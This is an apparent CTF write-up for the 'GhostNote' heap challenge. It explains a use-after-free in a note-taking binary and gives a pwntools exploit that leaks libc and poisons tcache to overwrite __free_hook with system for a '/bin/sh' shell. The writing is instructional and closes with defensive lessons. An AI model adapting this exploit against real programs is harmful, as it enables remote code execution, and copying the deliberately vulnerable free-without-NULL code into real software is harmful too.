GhostNote - Daryx Writeups

461 words

2 minutes

GhostNote

2025-01-25

NextHunt CTF

PWN

/

Heap

/

UAF

“We created a secure note-taking application that reuses memory for efficiency. Can you exploit it?”

Binary Analysis#

1
$ checksec chall
2
RELRO:    Full RELRO
3
Stack:    Canary found
4
NX:       NX enabled
5
PIE:      PIE enabled

All protections are enabled, but we’re dealing with a heap challenge. GLIBC 2.31 uses tcache and has __free_hook available.

Functionality#

Classic note-taking application with 4 operations:

Add Note - Allocates a chunk (size 1-4096) and stores pointer in notes[idx]
Delete Note - Frees the chunk at notes[idx]
Show Note - Prints content of notes[idx]
Edit Note - Reads new content into notes[idx]

Vulnerability: Use-After-Free (UAF)#

In delete_note, the chunk is freed but the pointer is NOT nullified:

1
void delete_note() {
2
    int idx = get_int();
3
    if (idx < 0 || idx > 9 || notes[idx] == NULL) {
4
        puts("Invalid index or empty.");
5
        return;
6
    }
7
    free(notes[idx]);      // Chunk is freed
8
    // notes[idx] = NULL;  // MISSING! This is the vulnerability
9
    puts("Note deleted.");
10
}

This allows us to:

Read freed memory via show_note() - Leak heap/libc addresses
Write to freed memory via edit_note() - Tcache poisoning

Exploitation Strategy#

1. Leak Libc Address#

Allocate a large chunk (>0x408 bytes) that goes to unsorted bin when freed:

1
add(2, 0x420, b'C' * 0x41f)  # Large chunk
2
add(3, 0x20, b'D' * 0x1f)    # Guard to prevent consolidation
3
delete(2)                     # Goes to unsorted bin
4
data = show(2)                # UAF read - leaks main_arena pointer

The unsorted bin fd/bk pointers point to main_arena+96 in libc.

2. Tcache Poisoning#

Poison tcache to allocate a chunk at __free_hook:

1
add(4, 0x40, b'E' * 0x3f)
2
add(5, 0x40, b'F' * 0x3f)
3
delete(4)                     # tcache[0x50]: chunk4
4
delete(5)                     # tcache[0x50]: chunk5 -> chunk4
5

6
edit(5, p64(free_hook))       # UAF write - poison fd to __free_hook
7
                              # tcache[0x50]: chunk5 -> __free_hook
8

9
add(6, 0x40, b'/bin/sh\x00')  # Returns chunk5
10
add(7, 0x40, p64(system))     # Returns __free_hook, write system addr

3. Trigger Shell#

1
delete(6)  # free(chunk6) -> system("/bin/sh")

Exploit Code#

1
#!/usr/bin/env python3
2
from pwn import *
3

4
context.arch = 'amd64'
5

6
# Libc 2.31-0ubuntu9.17 offsets
7
libc_system = 0x52290
8
libc_free_hook = 0x1eee48
9

10
def main():
11
    p = remote('ctf.nexus-security.club', 2808)
12

13
    # Setup chunks
14
    add(p, 0, 0x80, b'A' * 0x7f)
15
    add(p, 1, 0x80, b'B' * 0x7f)
16
    delete(p, 0)
17

18
    # Leak libc via unsorted bin
19
    add(p, 2, 0x420, b'C' * 0x41f)
20
    add(p, 3, 0x20, b'D' * 0x1f)
21
    delete(p, 2)
22

23
    data = show(p, 2)
24
    leak = u64(data[:8].ljust(8, b'\x00'))
25
    libc_base = leak - 0x1ecbe0
26
    log.info(f"Libc base: {hex(libc_base)}")
27

28
    system = libc_base + libc_system
29
    free_hook = libc_base + libc_free_hook
30

31
    # Tcache poisoning
32
    add(p, 4, 0x40, b'E' * 0x3f)
33
    add(p, 5, 0x40, b'F' * 0x3f)
34
    delete(p, 4)
35
    delete(p, 5)
36

37
    edit(p, 5, p64(free_hook))
38
    add(p, 6, 0x40, b'/bin/sh\x00')
39
    add(p, 7, 0x40, p64(system))
40

41
    # Trigger shell
42
    delete(p, 6)
43

44
    p.interactive()
45

46
if __name__ == '__main__':
47
    main()

Key Takeaways#

Always NULL pointers after free - The missing notes[idx] = NULL led to UAF
Unsorted bin leaks libc - Large freed chunks have fd/bk pointing to main_arena
Tcache poisoning - In GLIBC 2.31, tcache fd can be overwritten to get arbitrary allocation
__free_hook - Classic target for code execution (removed in GLIBC 2.34+)

Flag#

1
nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}

GhostNote

https://daryx.vercel.app/posts/nexthunt-ghostnote/

Author

Daryx

Published at

2025-01-25

License

CC BY-NC-SA 4.0

Calculator

Secure Storage

Vulnerability: Use-After-Free (UAF)

3

Exploitation Strategy